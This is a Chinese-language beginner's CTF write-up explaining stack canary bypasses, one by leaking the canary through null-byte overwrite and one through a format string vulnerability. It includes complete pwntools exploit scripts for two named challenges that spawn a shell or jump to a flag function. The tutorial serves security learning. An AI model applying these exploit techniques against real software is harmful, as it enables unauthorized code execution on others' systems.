从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

做两道简单的pwn(因为刚刚学,可能难免会有错误,望师傅们轻点骂)

众所周知,绕过canary的方法除了一个一个猜字节(不是),还有两种常见方法

(1)通过覆盖00字符读出canary

(2)通过格式化字符串从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

原理

因为通过格式化字符串漏洞可以实现任意内存的读写,而且,在一个程序里,不同函数在运行中使用的canary值是相同的,所以可以通过对格式化字符串漏洞的利用,或用覆盖00字符的方法,将canary的值读出来,实现缓冲区溢出攻击后(控制RET地址),在函数退出验证前再将canary 的值填回栈中,通过验证实现函数的正常返回

覆盖00字符读出canary

原理

  • canary的值设计为以0x00结尾,防止read,printf等函数直接读出
  • 通过栈溢出覆盖最低位的字节,从而获得canary

利用条件

  • 存在read/printf等读出字符串的函数
  • 可以两次栈溢出
    • 第一次是覆盖00字节,得到canary
    • 第二次是利用canary进行攻击

实例–bugku现在的pwn4

题目地址

首先,我们来checksec一下

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

发现,对got表进行半保护,即got表可读,有金丝雀,有NX(无法写入shellcode),地址不随机。

那么,反编译看看吧。

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

首先看看有没有奇怪字符串,发现惊喜

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

发现奇怪hint函数,跟进查看,再次发现惊喜

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

于是发现是简单绕过canary的题,没有格式化字符串漏洞,于是选择通过覆盖00字符读出canary

用gdb看一眼

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

可以看出金丝雀放在rbp-0x8的位置,设断点运行,看一眼金丝雀的地址

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

看一眼

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

重新开始,发现改变,确定此处就是金丝雀

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

那么思路到这里就结束了。

进行准备工作用ROPgadget找一下rdi和/bin/sh

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例 从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

于是扔脚本

from pwn import * import struct context.log_level = 'debug'  sh = remote('114.67.246.176', 17317) #sh = process('./pwn4')  sh.recv() sh.sendline((0x240-0x8)*b'a') sh.recvuntil('a'*(0x240-0x8)+'n')  can = sh.recvuntil('n', drop=True)#泄露canary print(can) if len(can) != 8:    can = b'x00'+can print(b'canary:'+can)  poprdi= 0x0400963 system = 0x0400660 bin_addr = 0x601068 payload = b'b'*(0x210-0x8) + can + b'a'*8 + p64(poprdi) +p64(bin_addr) + p64(system) sh.send(payload) sh.recv() sh.interactive() 
从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

通过格式化字符串漏洞泄露canary

格式化字符串读出canary

格式化字符串漏洞

基础知识

首先了解一些前置知识。

参数 输入类型 输出类型
%d 十进制整数
%u 无符号十进制整数
%x 十六进制整数
%s 指针 字符串
%n 指针 到目前位置为止,已写的字节个数
从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

%n格式化参数比较独特,因为它在写数据时没有任何输出,与读数据然后显示相反,格式化函数遇到格式化参数%n时,它将输出已经被存放到对应函数参数地址的字节数。

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

上图为我们调用printf(string)时栈的大体结构

当我们用printf(string)语句代替printf("%s",string)语句输出字符串时,就会造成格式化字符串漏洞。我们的本意只是单纯打印一段字符,但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配formate参数。

1)如str就是“ctyssb”,则直接输出“ctyssb”

2)如str是format,比如是%3$x,则输出偏移3处的16进制数据。

要是我们的输入可以覆盖偏移2的内容为0x41414141,载通过给printf(formate)的formate赋值%2$s,那我们就可以读取地址0x41414141指向的值.

向任意存储地点写入
从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

可以使用%n来对任意存储地址进行写入操作。通过向printf(formate)的formate赋值%20s$2n就可以将0x41414141所指向的值修改为0x14(16进制)

读出偏移量

以aaaa(32位)/aaaaaaaa(64位)±%p-%p-%p-%p-%p-%p-%p-%p-%p读出偏移量

can获得方法

首先,我们要知道,can大小为0x8或0x4下列用0x8举例

这里先用ida找到溢出点与ebp的距离这里用0x??举例

既然我们要欺骗金丝雀,可定不能把它覆盖掉,于是要相应的减去0x8,那么我们可知can的位置了,作为一个对编程有一点点基础的人,我们可知以字节为8位,那么我们可以用offset =(0x??-0x8)/8+偏移量 算出can的位置。于是我们用格式化字符串输出一下以‘%offset$p’的方式用recv()/recvuntil(‘字符’,drop=True)得到can的内容(不要忘记int一下),此刻我们就可以成功获得can的值了,那么我们已经做好了欺骗金丝雀的前置准备了。

金丝雀 DIE

此刻已经可以写payload了

那么假设我们已经通过上述方法获得can的值了,于是开始操作

payload=b‘a’(0x??-0x8) +p64(can)+b’a’(0x8)+要执行的操作

金丝雀,gg。

实例 --攻防世界 – Mary_Morton

题目地址

1.日常checksec一下

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

一个64位程序,对got表进行半保护(got表可读),有金丝雀,有NX(不可写shellcode),地址不随机

2.那我们随随便便拖进ida看一眼

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

看起来这个程序想和我battle一下,那咱们进sub_4009DA和sub_4008EB看一眼。

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例 从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

再结合总程序来看很明显,当我们输入1,用的bufferoverflow,但输入2的话,很明显是我们的老朋友了,格式化字符串漏洞。,于是随机产生思路,我们第一步直接用格式化字符串找到偏移量。

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

执行后得到偏移量。

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例

很明显我们可以看出偏移量为6

那么既然我们知道偏移量了,那么我们就可以算出can的位置了。

由ida我们可以看到,我们的buf距离ebp有0x90的距离。ok,0x90-0x8=0x88,0x88/8=17,17+6=23,那么到这里我们终于知道can的位置了。此时准备工作完成,于是扔脚本

from pwn import* context(os='linux',arch='amd64',log_level='debug')  sh = remote( '220.249.52.133',43484) sh.recvuntil('battle n') sh.sendline('2') sh.sendline('%23$p') can = int (sh.recv(),16) flag = 0x4008DA payload = b'a'*(0x90-8) + p64(can) + b'a'*8 +p64(flag) sh.recvuntil('battle n') sh.sendline('1') sh.sendline(payload) sh.interactive() 

执行后得到flag

从0开始的pwn学习之随意pwnpwn(1)----绕过canary(金丝雀)的实例以上就是两种最基本的canary绕过方法的原理与实例了,有错误欢迎指出。